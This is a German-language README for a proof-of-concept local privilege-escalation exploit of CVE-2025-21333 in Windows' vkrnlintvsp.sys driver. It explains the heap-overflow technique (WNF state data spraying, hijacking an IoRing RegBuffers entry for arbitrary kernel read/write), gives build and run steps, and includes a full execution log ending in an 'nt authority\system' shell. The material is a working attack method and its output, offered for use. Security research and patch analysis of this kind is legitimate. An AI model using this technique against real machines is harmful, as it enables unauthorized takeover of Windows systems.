
POC-Exploit für CVE-2025-21333 Heap-basierter Pufferüberlauf. Es nutzt WNF-Zustandsdaten und I/O ring IOP_MC_BUFFER_ENTRY
Proof-of-Concept, der CVE-2025-21333 in vkrnlintvsp.sys ausnutzt (nicht sehr zuverlässig, siehe Abschnitt „Anforderungen und Einschränkungen“). Im Abschnitt „Referenzen“ finden sich hilfreiche Ressourcen für diejenigen, die mit dem Exploit spielen möchten.
Eine detaillierte Analyse der Schwachstelle und des Exploits ist hier verfügbar.
Die Schwachstelle wurde als aktiv von Bedrohungsakteuren ausgenutzt erkannt.
Getestet unter Windows 11 23h2.
Es könnte auch unter Windows 11 24h2 funktionieren, aber ich habe es nicht getestet.
Nachfolgend die Hashes der ntoskrnl.exe und vkrnlintvsp.sys, die zum Testen des POC verwendet wurden.
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys
Algorithm Hash Path
--------- ---- ----
SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:\Windows\System32\drivers\v...
PS C:\Windows\System32\drivers>
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe
Algorithm Hash Path
--------- ---- ----
SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:\Windows\System32\ntoskrnl.exe
PS C:\Windows\System32>
Es verwendet weder NtQuerySystemInformation, um Kernel-Adressen preiszugeben, noch PreviousMode, um beliebiges Lesen/Schreiben zu erreichen.
Stattdessen allokiert es im Paged Pool ein Array von Zeigern auf _IOP_MC_BUFFER_ENTRY und überschreibt den ersten Zeiger mit einem bösartigen IOP_MC_BUFFER_ENTRY*, der sich im Benutzermodus befindet. Mit BuildIoRingWriteFile()/BuildIoRingReadFile() ist es möglich, beliebiges Lesen/Schreiben im Kernel zu erreichen.
Das Array von Zeigern auf _IOP_MC_BUFFER_ENTRY ist ein Objekt mit PoolTag IrRB.
Die Technik unterscheidet sich leicht von der von Yarden Shafir hier dokumentierten. Anstatt die Kontrolle über das gesamte Array zu übernehmen, auf das _IORING_OBJECT.RegBuffers zeigt, übernimmt die Technik nur die Kontrolle über einen Eintrag im Array, auf das _IORING_OBJECT.RegBuffers zeigt.
Da die Größe des Zeigerarrays vom Benutzer kontrollierbar ist, bedeutet dies, dass es verwendet werden kann, um zuverlässiges beliebiges Lesen/Schreiben in Ring0 zu erreichen, ausgehend von Heap-Overflows und UAFs für mehrere LFH-Buckets.
Ich weiß nicht, ob jemand diese Technik bereits geteilt hat, um Overflows oder UAFs im Paged Pool auszunutzen.
Diese Screenshots wurden nach der Ausführung des POC aufgenommen. Der Overflow befand sich im Bucket für die Objektgröße 0x50. Beachten Sie, dass es möglich war, ein RegBuffers-Array in diesem Bucket zu allozieren und der erste Zeiger auf Speicher im Benutzermodus zeigt.

Beachten Sie, dass der bösartige Eintrag die Address auf ein Prozessobjekt setzt. Address entspricht der beliebigen Adresse, von der wir lesen/auf die wir schreiben möchten (dies wurde bereits in Yarden Shafirs Artikel gut beschrieben).

Es ist erforderlich, die Windows-Sandbox-Funktion zu aktivieren, damit die anfälligen Syscalls vom anfälligen Treiber behandelt werden.

Mir gelang ein Overflow von 0xfff0 Bytes. Es gelang mir nicht, die Overflow-Länge vollständig kontrollierbar zu machen. Sie können einen Absturz sehen, wenn der Overflow größer als das Untersegment ist (das kann ziemlich oft passieren). Vielleicht ist es möglich, dieses Verhalten durch das Einspritzen weiterer Objekte zu minimieren.
Der POC gibt 2 WNF-Zustandsdaten frei, um an diesen Positionen ein regBuffer (ein Array von Zeigern auf _IOP_MC_BUFFER_ENTRY, das einem IORING_OBJECT zugeordnet ist) und ein PipeAttribute neu zu allozieren. Manchmal kann es zwischen der Freigabe und der Neubelegung vorkommen, dass ein anderes Objekt durch einen anderen Treiber an dieser Position allokiert wird. Es wäre möglich, andere korrupte WNF-Zustandsdatenobjekte in einer while-Schleife zu verwenden, um mehrere Neubelegungsversuche durchzuführen und die Wahrscheinlichkeit für das gewünschte Layout zu erhöhen.
Der POC-Code ist ziemlich chaotisch.
Nachdem man Systemrechte erlangt hat, ist es besser, die System-Shell durch Eingabe von exit in der Konsole zu verlassen, da sonst der Rechner abstürzt.
Kompilieren Sie die x64-Release-Version.
Ausführen und eine System-Shell erhalten.
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r
guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r
Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0 dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6 ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00 ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00 ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00 8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41 :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00 ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00 ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.
C:\Users\unpriv>whoami
nt authority\system
C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>